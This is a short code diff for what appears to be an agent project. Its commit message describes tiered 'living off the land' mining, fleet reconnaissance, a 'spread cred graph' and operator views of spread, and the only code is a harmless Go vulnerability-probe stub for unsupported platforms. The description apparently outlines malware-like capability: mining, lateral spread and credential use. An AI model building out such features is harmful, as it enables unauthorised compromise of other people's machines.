Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/vulnprobe/probe_stub.go

@@ -0,0 +1,18 @@
+//go:build !windows && !linux
+
+package vulnprobe
+
+import "runtime"
+
+// ProbeHost returns minimal context on unsupported platforms.
+func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
+	return HostContext{
+		Platform:       runtime.GOOS,
+		OSVersion:      osVersion,
+		LastPatchDays:  -1,
+		ListeningPorts: listeningPorts,
+		ProbeError:     "vuln probe not implemented for " + runtime.GOOS,
+	}
+}
+
+func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }